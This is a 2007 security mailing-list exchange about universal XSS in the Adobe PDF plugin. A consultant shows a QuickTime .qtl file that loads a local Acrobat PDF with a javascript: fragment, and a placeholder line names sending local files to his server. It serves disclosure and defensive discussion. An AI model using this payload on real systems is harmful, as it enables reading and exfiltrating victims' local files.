RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

["Tom Stripling" <tstripling () securityps com>]

Brian,

You can't access local pages directly, but there are ways around that
restriction.  For example, someone on this list (I forget where I first
read this, sorry) wrote about a quicktime exploit using qtl files that
allows you to access a local file from a remote site.  I've been able to
use this to exploit the PDF plugin vulnerability in a local context from
a remote web page.  The file would look something like this:

<?xml version="1.0"?>
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="a.mp3" autoplay="true"
qtnext="file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.p
df#a=javascript:script_to_send_local_files_to_my_server"/>

It works like a charm.  So essentially, anyone on the Internet able to
run JavaScript or otherwise get me to open this file could read all the
files off of my hard drive, if I were vulnerable.  Scary.

Tom

-- 
Tom Stripling, CISSP, CISA | Senior Security Consultant | Security PS
[office - 913.888.2111 x6142 | mobile - 913.488.9712]
www.securityps.com


-----Original Message-----
From: Brian Eaton [mailto:eaton.lists () gmail com] 
Sent: Monday, January 08, 2007 1:07 PM
To: RSnake
Cc: Amit Klein; bugtraq () securityfocus com; Web Security
Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly
dangerous

Someone (I believe RSnake) pointed out that many browser machines have
PDF files in predictable locations that can be accessed via file://
links.  That lets an attacker gain local javascript execution.  At one
point Firefox had a rule restricting http:// and https:// web pages from
accessing file:// links.  Does that rule still exist, and if so does it
mitigate the risk posed to firefox users?

Regards,
Brian

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